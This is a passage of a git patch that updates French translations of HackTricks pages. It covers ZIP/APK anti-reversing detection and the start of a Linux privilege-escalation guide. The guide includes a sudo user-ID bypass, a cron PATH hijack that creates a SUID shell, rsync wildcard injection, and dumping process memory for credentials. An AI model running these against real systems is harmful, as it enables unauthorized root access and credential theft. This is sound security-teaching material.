From 249bde0652c4c2423db0f0f90e4c57c7330c49d8 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 4 Sep 2025 00:38:22 +0000 Subject: [PATCH] Translated ['', 'src/windows-hardening/active-directory-methodology/kerb --- .../zips-tricks.md | 62 +- .../privilege-escalation/README.md | 512 ++++++++--------- .../android-app-pentesting/README.md | 508 ++++++++-------- .../pentesting-mysql.md | 116 ++-- ...object-creation-new-usd_get-a-usd_get-b.md | 49 +- .../pentesting-web/spring-actuators.md | 60 +- .../README.md | 328 +++++------ src/pentesting-web/file-inclusion/README.md | 304 +++++----- .../file-inclusion/lfi2rce-via-php-filters.md | 26 +- src/pentesting-web/file-upload/README.md | 155 +++-- .../kerberos-authentication.md | 4 +- .../password-spraying.md | 64 +-- .../silver-ticket.md | 58 +- .../README.md | 136 ++--- .../checklist-windows-privilege-escalation.md | 110 ++-- .../README.md | 540 +++++++++--------- .../abusing-auto-updaters-and-ipc.md | 102 ++-- .../juicypotato.md | 80 +-- 18 files changed, 1600 insertions(+), 1614 deletions(-) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md index d68757320..0782b053e 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md @@ -1,38 +1,38 @@ -# Astuces pour les ZIPs +# Astuces ZIPs {{#include ../../../banners/hacktricks-training.md}} -Les outils en ligne de commande pour gérer les fichiers zip sont essentiels pour diagnostiquer, réparer et cracker des zip. Voici quelques utilitaires clés : +**Outils en ligne de commande** pour gérer les **fichiers zip** sont essentiels pour diagnostiquer, réparer et craquer des zip. Voici quelques utilitaires clés : -- **`unzip`** : révèle pourquoi un zip peut ne pas se décompresser. -- **`zipdetails -v`** : offre une analyse détaillée des champs du format zip. -- **`zipinfo`** : liste le contenu d'un zip sans l'extraire. -- **`zip -F input.zip --out output.zip`** et **`zip -FF input.zip --out output.zip`** : tentent de réparer des zip corrompus. -- **[fcrackzip](https://github.com/hyc/fcrackzip)** : outil de brute-force pour cracker les mots de passe zip, efficace pour des mots de passe jusqu'à environ 7 caractères. +- **`unzip`**: Révèle pourquoi un fichier zip peut ne pas se décompresser. +- **`zipdetails -v`**: Offre une analyse détaillée des champs du format zip. +- **`zipinfo`**: Liste le contenu d'un zip sans l'extraire. +- **`zip -F input.zip --out output.zip`** et **`zip -FF input.zip --out output.zip`**: Tente de réparer des fichiers zip corrompus. +- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Un outil de force brute pour les mots de passe zip, efficace pour des mots de passe d'environ 7 caractères ou moins. -La [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) fournit des détails complets sur la structure et les standards des zip. +The [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) fournit des détails complets sur la structure et les standards des fichiers zip. -Il est crucial de noter que les fichiers zip protégés par mot de passe **n'encryptent pas les noms de fichiers ni les tailles de fichiers** à l'intérieur, une faille de sécurité qui n'existe pas pour les fichiers RAR ou 7z qui encryptent cette information. De plus, les zip chiffrés avec l'ancienne méthode ZipCrypto sont vulnérables à une **plaintext attack** si une copie non chiffrée d'un fichier compressé est disponible. Cette attaque exploite le contenu connu pour cracker le mot de passe du zip, vulnérabilité détaillée dans l'article de [HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) et expliquée plus en détail dans [cet article académique](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Cependant, les zip protégés avec **AES-256** sont immunisés contre cette plaintext attack, ce qui illustre l'importance de choisir des méthodes de chiffrement sûres pour des données sensibles. +Il est crucial de noter que les fichiers zip protégés par mot de passe **n'encryptent pas les noms de fichiers ni les tailles de fichiers** à l'intérieur, une faiblesse de sécurité que RAR ou 7z n'ont pas car ils chiffrent ces informations. De plus, les fichiers zip chiffrés avec l'ancienne méthode ZipCrypto sont vulnérables à une plaintext attack si une copie non chiffrée d'un fichier compressé est disponible. Cette attaque utilise le contenu connu pour craquer le mot de passe du zip, une vulnérabilité détaillée dans [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) et expliquée plus en détail dans [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Cependant, les fichiers zip sécurisés avec **AES-256** sont immunisés contre cette plaintext attack, ce qui montre l'importance de choisir des méthodes de chiffrement robustes pour des données sensibles. --- ## Anti-reversing tricks in APKs using manipulated ZIP headers -Les droppers Android modernes utilisent des metadata ZIP malformés pour casser les outils statiques (jadx/apktool/unzip) tout en gardant l'APK installable sur l'appareil. Les astuces les plus courantes sont : +Les malware droppers Android modernes utilisent des métadonnées ZIP malformées pour casser les outils statiques (jadx/apktool/unzip) tout en gardant l'APK installable sur l'appareil. Les astuces les plus courantes sont : -- Fake encryption by setting the ZIP General Purpose Bit Flag (GPBF) bit 0 -- Abusing large/custom Extra fields to confuse parsers -- File/directory name collisions to hide real artifacts (e.g., a directory named `classes.dex/` next to the real `classes.dex`) +- Faux chiffrement en définissant le ZIP General Purpose Bit Flag (GPBF) bit 0 +- Abus de grandes/custom Extra fields pour perturber les parseurs +- Collisions de noms de fichiers/répertoires pour cacher de vrais artefacts (par ex., un répertoire nommé `classes.dex/` à côté du vrai `classes.dex`) ### 1) Fake encryption (GPBF bit 0 set) without real crypto -Symptômes : +Symptômes: - `jadx-gui` échoue avec des erreurs comme : ``` java.util.zip.ZipException: invalid CEN header (encrypted entry) ``` -- `unzip` demande un mot de passe pour des fichiers core de l'APK alors qu'un APK valide ne peut pas avoir `classes*.dex`, `resources.arsc`, ou `AndroidManifest.xml` chiffrés : +- `unzip` demande un mot de passe pour des fichiers APK centraux bien qu'un APK valide ne puisse pas avoir `classes*.dex`, `resources.arsc`, ou `AndroidManifest.xml` chiffrés : ```bash unzip sample.apk @@ -47,7 +47,7 @@ Détection avec zipdetails: ```bash zipdetails -v sample.apk | less ``` -Regardez le General Purpose Bit Flag pour les en-têtes locaux et centraux. Une valeur révélatrice est le bit 0 activé (Encryption) même pour les entrées core : +Consultez le General Purpose Bit Flag des en-têtes locaux et centraux. Une valeur révélatrice est le bit 0 défini (Encryption) même pour les core entries : ``` Extract Zip Spec 2D '4.5' General Purpose Flag 0A09 @@ -56,9 +56,9 @@ General Purpose Flag 0A09 [Bit 3] 1 'Streamed' [Bit 11] 1 'Language Encoding' ``` -Heuristique : Si une APK s'installe et s'exécute sur l'appareil mais que des entrées principales apparaissent « chiffrées » pour les outils, le GPBF a été altéré. +Heuristique : si un APK s'installe et s'exécute sur l'appareil mais que les core entries apparaissent « chiffrées » pour les outils, le GPBF a été modifié. -Corriger en effaçant le bit 0 du GPBF dans les Local File Headers (LFH) et les entrées du Central Directory (CD). Byte-patcher minimal : +Corriger en effaçant le bit 0 du GPBF dans les Local File Headers (LFH) et les entrées du Central Directory (CD). Patcheur d'octets minimal : ```python # gpbf_clear.py – clear encryption bit (bit 0) in ZIP local+central headers import struct, sys @@ -94,11 +94,11 @@ Utilisation : python3 gpbf_clear.py obfuscated.apk normalized.apk zipdetails -v normalized.apk | grep -A2 "General Purpose Flag" ``` -Vous devriez maintenant voir `General Purpose Flag 0000` sur les entrées core et les outils analyseront à nouveau l'APK. +Vous devriez maintenant voir `General Purpose Flag 0000` sur les entrées principales et les outils analyseront à nouveau l'APK. -### 2) Extra fields volumineux/personnalisés pour casser les parseurs +### 2) Champs Extra volumineux/personnalisés pour casser les analyseurs -Les attaquants insèrent dans les headers des Extra fields surdimensionnés et des IDs étranges pour piéger les décompilateurs. En conditions réelles, vous pouvez voir des marqueurs personnalisés (par ex., des chaînes comme `JADXBLOCK`) insérés là. +Les attaquants insèrent des Extra fields surdimensionnés et des IDs étranges dans les en-têtes pour piéger les décompilateurs. Dans la pratique, vous pouvez voir des marqueurs personnalisés (par ex., des chaînes comme `JADXBLOCK`) intégrés là. Inspection: ```bash @@ -106,21 +106,21 @@ zipdetails -v sample.apk | sed -n '/Extra ID/,+4p' | head -n 50 ``` Exemples observés : des IDs inconnus comme `0xCAFE` ("Java Executable") ou `0x414A` ("JA:") transportant de gros payloads. -DFIR heuristics : -- Alerter lorsque les Extra fields sont anormalement volumineux sur les entrées principales (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`). +DFIR heuristics: +- Alerter lorsque les Extra fields sont inhabituellement volumineux sur les entrées core (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`). - Considérer les Extra IDs inconnus sur ces entrées comme suspects. -Practical mitigation : reconstruire l'archive (e.g., re-zipping extracted files) supprime les Extra fields malveillants. Si les outils refusent d'extraire en raison d'une fake encryption, effacer d'abord GPBF bit 0 comme ci-dessus, puis reconditionner : +Practical mitigation: la reconstruction de l'archive (par ex., re-zipping des fichiers extraits) supprime les Extra fields malveillants. Si les outils refusent d'extraire à cause d'une fake encryption, d'abord effacer GPBF bit 0 comme indiqué ci-dessus, puis reconditionner : ```bash mkdir /tmp/apk unzip -qq normalized.apk -d /tmp/apk (cd /tmp/apk && zip -qr ../clean.apk .) ``` -### 3) Collisions de noms fichier/répertoire (masquer les vrais artefacts) +### 3) Conflits de noms fichier/répertoire (masquer les artefacts réels) -Une archive ZIP peut contenir à la fois un fichier `X` et un répertoire `X/`. Certains extracteurs et décompilateurs se trompent et peuvent superposer ou masquer le vrai fichier par une entrée de répertoire. Cela a été observé avec des entrées entrant en collision avec des noms d'APK critiques comme `classes.dex`. +Une archive ZIP peut contenir à la fois un fichier `X` et un répertoire `X/`. Certains extracteurs et décompilateurs se trompent et peuvent superposer ou masquer le fichier réel au profit d'une entrée de répertoire. Cela a été observé avec des entrées entrant en collision avec des noms d'APK principaux comme `classes.dex`. -Triage et extraction sûre: +Triage et extraction sécurisée: ```bash # List potential collisions (names that differ only by trailing slash) zipinfo -1 sample.apk | awk '{n=$0; sub(/\/$/,"",n); print n}' | sort | uniq -d @@ -131,7 +131,7 @@ unzip normalized.apk -d outdir # replace outdir/classes.dex? [y]es/[n]o/[A]ll/[N]one/[r]ename: r # new name: unk_classes.dex ``` -Postfixe de détection programmatique : +Suffixe pour la détection programmatique: ```python from zipfile import ZipFile from collections import defaultdict @@ -148,9 +148,9 @@ for base, variants in collisions.items(): if len(variants) > 1: print('COLLISION', base, '->', variants) ``` -Blue-team — idées de détection : -- Signaler les APK dont les en-têtes locaux indiquent le chiffrement (GPBF bit 0 = 1) mais qui s'installent/s'exécutent. -- Signaler les champs Extra volumineux/inconnus sur les entrées principales (chercher des marqueurs comme `JADXBLOCK`). +Idées de détection pour Blue-team : +- Signaler les APKs dont les en-têtes locaux indiquent un chiffrement (GPBF bit 0 = 1) mais qui s'installent/s'exécutent. +- Signaler les champs Extra volumineux/inconnus sur les entrées core (rechercher des marqueurs comme `JADXBLOCK`). - Signaler les collisions de chemins (`X` et `X/`) spécifiquement pour `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`. --- diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index c7f91c359..8bfc1402e 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -4,7 +4,7 @@ ## Informations système -### Informations OS +### Infos OS Commençons par recueillir des informations sur l'OS en cours d'exécution ```bash @@ -12,40 +12,40 @@ Commençons par recueillir des informations sur l'OS en cours d'exécution lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Path +### PATH -Si vous **avez des permissions d'écriture sur un dossier inclus dans la variable `PATH`**, vous pouvez être en mesure de détourner certaines bibliothèques ou binaires : +Si vous **avez des droits d'écriture sur un dossier situé dans la variable `PATH`**, vous pouvez potentiellement détourner certaines bibliothèques ou binaires : ```bash echo $PATH ``` -### Infos d'environnement +### Env info -Des informations intéressantes, des mots de passe ou des clés API dans les variables d'environnement ? +Des informations intéressantes, des mots de passe ou des API keys dans les variables d'environnement ? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Vérifiez la version du kernel et s'il existe un exploit pouvant être utilisé pour obtenir des privilèges élevés +Vérifiez la version du kernel et s'il existe un exploit qui peut être utilisé pour escalate privileges ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Vous pouvez trouver une bonne liste de kernel vulnérables et quelques **compiled exploits** ici: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) et [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -Other sites where you can find some **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Vous pouvez trouver une bonne liste de noyaux vulnérables et quelques **compiled exploits** ici : [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) et [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +D'autres sites où vous pouvez trouver des **compiled exploits** : [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Pour extraire toutes les versions de kernel vulnérables depuis ce site vous pouvez faire: +Pour extraire toutes les versions de noyau vulnérables depuis ce site, vous pouvez faire : ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Outils qui peuvent aider à rechercher des kernel exploits sont: +Outils pouvant aider à rechercher des kernel exploits : [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (exécuter SUR la victime, ne vérifie que les exploits pour kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (à exécuter sur la victime, vérifie uniquement les exploits pour kernel 2.x) -Cherchez toujours la version du kernel sur Google, peut‑être que votre version du kernel est mentionnée dans un kernel exploit et ainsi vous serez sûr que cet exploit est valide. +Toujours **search the kernel version in Google**, il se peut que la version de votre kernel soit mentionnée dans un kernel exploit et alors vous serez sûr que cet exploit est valide. ### CVE-2016-5195 (DirtyCow) @@ -57,9 +57,9 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo version +### Version de sudo -Basé sur les versions vulnérables de sudo qui apparaissent dans : +Basé sur les versions vulnérables de sudo qui apparaissent dans: ```bash searchsploit sudo ``` @@ -73,9 +73,9 @@ De @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg signature verification failed +### Dmesg : échec de la vérification de la signature -Consultez **smasher2 box of HTB** pour un **exemple** de la façon dont cette vuln pourrait être exploitée +Consultez **smasher2 box of HTB** pour un **exemple** de la manière dont cette vuln pourrait être exploitée ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Si vous êtes à l'intérieur d'un docker container vous pouvez essayer de vous en échapper : +Si vous êtes dans un docker container, vous pouvez essayer d'en sortir : {{#ref}} docker-security/ @@ -131,7 +131,7 @@ docker-security/ ## Disques -Vérifiez **ce qui est mounted et unmounted**, où et pourquoi. Si quelque chose est unmounted vous pouvez essayer de le mount et vérifier les informations privées +Vérifiez **ce qui est monté et démonté**, où et pourquoi. Si quelque chose est démonté, vous pouvez essayer de le monter et vérifier s'il contient des informations privées. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -144,56 +144,56 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Vérifiez également si **un compilateur est installé**. Ceci est utile si vous devez utiliser un kernel exploit car il est recommandé de le compiler sur la machine où vous allez l'utiliser (ou sur une similaire). +Vérifiez aussi si **n'importe quel compilateur est installé**. Ceci est utile si vous devez utiliser un kernel exploit, car il est recommandé de le compiler sur la machine où vous allez l'utiliser (ou sur une machine similaire). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Logiciels vulnérables installés -Vérifiez la **version des paquets et services installés**. Il se peut qu'une ancienne version de Nagios (par exemple) puisse être exploitée pour escalating privileges…\ +Vérifiez la **version des paquets et services installés**. Il peut y avoir une ancienne version de Nagios (par exemple) qui pourrait être exploitée pour escalader les privilèges…\ Il est recommandé de vérifier manuellement la version des logiciels installés les plus suspects. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Si vous avez un accès SSH à la machine, vous pouvez également utiliser **openVAS** pour vérifier les logiciels installés sur la machine et détecter s'ils sont obsolètes ou vulnérables. +If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. -> [!NOTE] > _Notez que ces commandes afficheront beaucoup d'informations qui seront en grande partie inutiles ; il est donc recommandé d'utiliser des applications comme OpenVAS ou similaires qui vérifieront si une version d'un logiciel installé est vulnérable à des exploits connus_ +> [!NOTE] > _Remarque : ces commandes afficheront beaucoup d'informations qui seront pour la plupart inutiles ; il est donc recommandé d'utiliser des applications comme OpenVAS ou similaires qui vérifieront si une version d'un logiciel installé est vulnérable à des exploits connus_ ## Processus -Regardez **quels processus** sont exécutés et vérifiez si un processus a **plus de privilèges qu'il ne devrait** (peut-être un tomcat exécuté par root ?) +Examinez **quels processus** sont exécutés et vérifiez si un processus a **plus de privilèges qu'il ne devrait** (peut-être un tomcat exécuté par root ?) ```bash ps aux ps -ef top -n 1 ``` -Vérifiez toujours la présence éventuelle de [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** détecte ceux-ci en vérifiant le paramètre `--inspect` dans la ligne de commande du processus.\ -Vérifiez également **vos privilèges sur les binaries des processus**, vous pourrez peut‑être en écraser un. +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** détecte ceux-ci en vérifiant le paramètre `--inspect` dans la ligne de commande du processus.\ +Also **check your privileges over the processes binaries**, maybe you can overwrite someone. -### Process monitoring +### Surveillance des processus -Vous pouvez utiliser des outils comme [**pspy**](https://github.com/DominicBreuker/pspy) pour surveiller les processus. Cela peut être très utile pour identifier des processus vulnérables s'exécutant fréquemment ou lorsque certaines conditions sont réunies. +Vous pouvez utiliser des outils comme [**pspy**](https://github.com/DominicBreuker/pspy) pour surveiller les processus. Cela peut être très utile pour identifier des processus vulnérables s'exécutant fréquemment ou lorsque certaines conditions sont remplies. -### Process memory +### Mémoire des processus -Certains services d'un serveur sauvegardent **credentials en clair dans la mémoire**.\ -Normalement vous aurez besoin de **root privileges** pour lire la mémoire de processus appartenant à d'autres utilisateurs, c'est pourquoi cela est généralement plus utile lorsque vous êtes déjà root et souhaitez découvrir d'autres credentials.\ -Cependant, souvenez‑vous qu'**en tant qu'utilisateur régulier vous pouvez lire la mémoire des processus que vous possédez**. +Certains services d'un serveur enregistrent des **credentials en clair dans la mémoire**.\ +Normalement, vous aurez besoin des **privilèges root** pour lire la mémoire des processus appartenant à d'autres utilisateurs, donc c'est généralement plus utile quand vous êtes déjà root et que vous voulez découvrir d'autres credentials.\ +Cependant, souvenez-vous que **en tant qu'utilisateur ordinaire vous pouvez lire la mémoire des processus que vous possédez**. > [!WARNING] -> Notez qu'aujourd'hui la plupart des machines **n'autorisent pas ptrace par défaut**, ce qui signifie que vous ne pouvez pas récupérer la mémoire d'autres processus appartenant à un utilisateur non privilégié. +> Notez qu'aujourd'hui la plupart des machines **n'autorisent pas ptrace par défaut**, ce qui signifie que vous ne pouvez pas dumper d'autres processus appartenant à votre utilisateur non-privilégié. > > Le fichier _**/proc/sys/kernel/yama/ptrace_scope**_ contrôle l'accessibilité de ptrace : > -> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. -> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. -> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. -> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. +> - **kernel.yama.ptrace_scope = 0** : tous les processus peuvent être débogués, tant qu'ils ont le même uid. C'est la manière classique dont le ptracing fonctionnait. +> - **kernel.yama.ptrace_scope = 1** : seul un processus parent peut être débogué. +> - **kernel.yama.ptrace_scope = 2** : Seul l'admin peut utiliser ptrace, car cela requiert la capability CAP_SYS_PTRACE. +> - **kernel.yama.ptrace_scope = 3** : Aucun processus ne peut être tracé avec ptrace. Une fois défini, un redémarrage est nécessaire pour réactiver le ptracing. #### GDB -If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. +Si vous avez accès à la mémoire d'un service FTP (par exemple), vous pouvez obtenir le Heap et chercher à l'intérieur ses credentials. ```bash gdb -p (gdb) info proc mappings @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Pour un ID de processus donné, **maps indique comment la mémoire est mappée dans l'espace d'adresses virtuel de ce processus** ; il indique également les **permissions de chaque région mappée**. Le fichier pseudo **mem** **expose la mémoire du processus lui-même**. À partir du fichier **maps**, nous savons quelles **régions mémoire sont lisibles** et leurs offsets. Nous utilisons ces informations pour **nous positionner dans le fichier mem et extraire toutes les régions lisibles** vers un fichier. +Pour un PID donné, **maps indiquent comment la mémoire est mappée dans l'espace d'adresses virtuelles** de ce processus ; elles montrent aussi les **permissions de chaque région mappée**. Le pseudo-fichier **mem** **expose la mémoire du processus**. À partir du fichier **maps**, nous savons quelles **régions mémoire sont lisibles** et leurs offsets. Nous utilisons ces informations pour **seek dans le fichier mem et dump toutes les régions lisibles** dans un fichier. ```bash procdump() ( @@ -230,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` fournit l'accès à la mémoire **physique** du système, pas à la mémoire virtuelle. L'espace d'adresses virtuelles du noyau peut être accédé en utilisant /dev/kmem.\ +`/dev/mem` fournit l'accès à la mémoire **physique** du système, pas à la mémoire virtuelle. L'espace d'adresses virtuelles du kernel peut être accédé en utilisant /dev/kmem.\ Typiquement, `/dev/mem` n'est lisible que par **root** et le groupe **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump pour Linux -ProcDump est une réinterprétation pour Linux de l'outil classique ProcDump de la suite Sysinternals pour Windows. Disponible sur [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump est une réinvention sous Linux de l'outil classique ProcDump de la suite Sysinternals pour Windows. Disponible sur [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -266,40 +266,40 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Outils -Pour dumper la mémoire d'un processus, vous pouvez utiliser : +Pour dump la mémoire d'un processus vous pouvez utiliser : - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) - [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Vous pouvez manuellement supprimer les exigences root et dump le processus qui vous appartient - Script A.5 de [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root est requis) -### Identifiants depuis la mémoire du processus +### Identifiants depuis la mémoire d'un processus #### Exemple manuel -Si vous constatez que le processus authenticator est en cours d'exécution : +Si vous trouvez que le processus authenticator est en cours d'exécution : ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Vous pouvez dump le processus (voir les sections précédentes pour trouver différentes façons de dump la mémoire d'un processus) et rechercher des identifiants dans la mémoire : +Vous pouvez dump le process (voir les sections précédentes pour trouver différentes façons de dump la memory d'un process) et rechercher des credentials dans la memory : ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -L'outil [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) va **voler des identifiants en clair depuis la mémoire** et depuis certains **fichiers bien connus**. Il nécessite des privilèges root pour fonctionner correctement. +L'outil [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) va voler des clear text credentials depuis la mémoire et depuis certains fichiers bien connus. Il nécessite des privilèges root pour fonctionner correctement. | Fonctionnalité | Nom du processus | | ------------------------------------------------- | -------------------- | | Mot de passe GDM (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Active FTP Connections) | vsftpd | -| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | -| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | +| VSFTPd (connexions FTP actives) | vsftpd | +| Apache2 (sessions HTTP Basic Auth actives) | apache2 | +| OpenSSH (sessions SSH actives - utilisation de Sudo) | sshd: | -#### Regex de recherche/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Expressions régulières de recherche/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -313,22 +313,22 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Scheduled/Cron jobs +## Tâches planifiées/Cron jobs -Vérifiez si une tâche planifiée est vulnérable. Peut-être pouvez-vous tirer parti d'un script exécuté par root (wildcard vuln? pouvez-vous modifier des fichiers que root utilise? utiliser des symlinks? créer des fichiers spécifiques dans le répertoire que root utilise?). +Vérifiez si des tâches planifiées sont vulnérables. Peut-être pouvez-vous tirer parti d'un script exécuté par root (wildcard vuln ? pouvez-vous modifier des fichiers que root utilise ? utiliser des symlinks ? créer des fichiers spécifiques dans le répertoire que root utilise ?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron path +### Chemin Cron Par exemple, dans _/etc/crontab_ vous pouvez trouver le PATH : _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Notez comment l'utilisateur "user" a des privilèges d'écriture sur /home/user_) +(_Remarquez que l'utilisateur "user" a des droits d'écriture sur /home/user_) -Si, dans ce crontab, l'utilisateur root tente d'exécuter une commande ou un script sans définir le PATH. Par exemple: _\* \* \* \* root overwrite.sh_\ -Alors, vous pouvez obtenir un shell root en utilisant: +Si dans ce crontab l'utilisateur root tente d'exécuter une commande ou un script sans définir le path. Par exemple : _\* \* \* \* root overwrite.sh_\ +Vous pouvez alors obtenir un shell root en utilisant : ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed @@ -336,13 +336,13 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh ``` ### Cron utilisant un script avec un wildcard (Wildcard Injection) -Si un script exécuté par root contient un “**\***” dans une commande, vous pouvez exploiter cela pour provoquer des comportements inattendus (comme un privesc). Exemple: +Si un script exécuté par root contient un “**\***” dans une commande, vous pouvez exploiter cela pour provoquer des comportements inattendus (comme privesc). Exemple: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` **Si le wildcard est précédé d'un chemin comme** _**/some/path/\***_ **, il n'est pas vulnérable (même** _**./\***_ **ne l'est pas).** -Lisez la page suivante pour plus d'astuces d'exploitation de wildcard: +Read the following page for more wildcard exploitation tricks: {{#ref}} @@ -350,11 +350,11 @@ wildcards-spare-tricks.md {{#endref}} -### Injection d'expansion arithmétique Bash dans les parsers de logs cron +### Bash arithmetic expansion injection in cron log parsers -Bash effectue des expansions de paramètres et des substitutions de commandes avant l'évaluation arithmétique dans ((...)), $((...)) et let. Si un cron/parser exécuté en root lit des champs de log non fiables et les envoie dans un contexte arithmétique, un attaquant peut injecter une substitution de commande $(...) qui s'exécutera en root lorsque le cron tourne. +Bash effectue l'expansion des paramètres et la substitution de commande avant l'évaluation arithmétique dans ((...)), $((...)) et let. Si un cron/parser exécuté en root lit des champs de log non fiables et les envoie dans un contexte arithmétique, un attaquant peut injecter une substitution de commande $(...) qui s'exécute en root lorsque le cron tourne. -- Pourquoi ça marche : Dans Bash, les expansions ont lieu dans cet ordre : expansion de 